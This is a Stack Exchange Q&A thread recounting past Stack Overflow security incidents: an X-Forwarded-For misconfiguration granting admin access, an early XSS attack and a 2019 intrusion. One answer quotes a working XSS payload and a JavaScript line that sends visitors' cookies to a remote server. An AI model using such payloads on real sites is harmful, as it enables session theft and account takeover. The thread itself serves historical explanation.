Has anyone ever hacked Stack Overflow?

Question

While chatting with friends about hacking, a guy said that "if a site is getting popular/ or any competitive, it will somehow face severe hacks. Some used to expose it, others hide it".

Out of curiosity I wanted to see if any such thing happened to Stack Overflow. Since Stack Exchange (being 5 years old) is the biggest network among professionals with more visitors, I started googling to find whether or not any hacks happened here. But I couldn't find such stories.

Though this question appears pretty non-constructive/off-topic, I would like to know if any hack has ever been attempted or exposed? Without having SSL, how are they maintaining/preventing hacks?

Answer 1

Yes, ircmaxell hacked Stack Overflow once, although not intentionally.

Here's an excerpt from his follow up blog post, Anatomy of an Attack: How I Hacked StackOverflow:

The Vulnerability

If you're clever, you should be able to figure out what happened. But in case you didn't, here's how it went down. When I had my connection proxied through Squid, it added a X-Forwarded-For header. The value of this header was the IP of my source browser which made the request. But because of the SSH tunnel, the IP was localhost. To Squid, there was no difference between my browser and local. So it added X-Forwarded-For: 127.0.0.1...

The really interesting part was what ASP was reporting. When they configured a page which would dump the raw request headers, my requests came through as Remote_Addr: 127.0.0.1!!! In their application, they were checking the correct header value. But IIS was misconfigured to rewrite Remote_Addr from X-Forwarded-For if it existed. So thanks to a misconfiguration, I was able to get admin access as easily as using my proxy.

As for larger scale attacks, Nick Craver's answer on a related question seems to suggest SE is ready to deal with them. Also, SE's Sys-Admin team seems to be perfectly equipped for a wide variety of attacks, including a zombie apocalypse.

Now, if only we could find a way to end this (eternal) September...

Answer 2

Shawn dropped an XSS attack waaaay back when the site was still in beta.

IIRC, he managed to log in as Jeff Atwood (one of the site's co-founders) and run a script which upvoted EVERY post on the site. He re-ran the script the next day to downvote every post as well.

In his defence, the site was in beta so we were all supposed to be trying to break it. You can hear Jeff speak about this at 36:50 of SO Podcast #37

Jeff also wrote a blog post about the details of the exploit and the fix:

Imagine, then, the surprise of my friend when he noticed some enterprising users on his website were logged in as him and happily banging away on the system with full unfettered administrative privileges.

<img src=""http://www.a.com/a.jpg<script type=text/javascript src="http://1.2.3.4:81/xss.js">" /><<img src=""http://www.a.com/a.jpg</script>"

Through clever construction, the malformed URL just manages to squeak past the sanitizer. The final rendered code, when viewed in the browser, loads and executes a script from that remote server. Here's what that JavaScript looks like:

window.location="http://1.2.3.4:81/r.php?u="+document.links[1].text+"&l="+document.links[1]+"&c="+document.cookie;

That's right -- whoever loads this script-injected user profile page has just unwittingly transmitted their browser cookies to an evil remote server!

Answer 3

In addition to the other excellent answers, there’s also a Stack Exchange Hall of Fame where security researchers who responsibly disclosed a vulnerability to the site administrators get credited.

Answer 4

On May 16th 2019 it was revealed that a hacker(s) managed to gain unauthorized access to Stack Overflow production systems on May 11th, 2019.

A new post was issued on May 17th 2019 to provide more information:

The intrusion originated on May 5 when a build deployed to the development tier for stackoverflow.com contained a bug, which allowed an attacker to log in to our development tier as well as escalate their access on the production version of stackoverflow.com

... we have identified privileged web requests that the attacker made that could have returned IP address, names, or emails for a very small number of Stack Exchange users. ... our investigation suggests the requests in question affected approximately 250 public network users. Affected users will be notified by us.

we maintain separate infrastructure and networks for clients of our Teams, Business, and Enterprise products and we have found no evidence that those systems or customer data were accessed. Our Advertising and Talent businesses were also not impacted.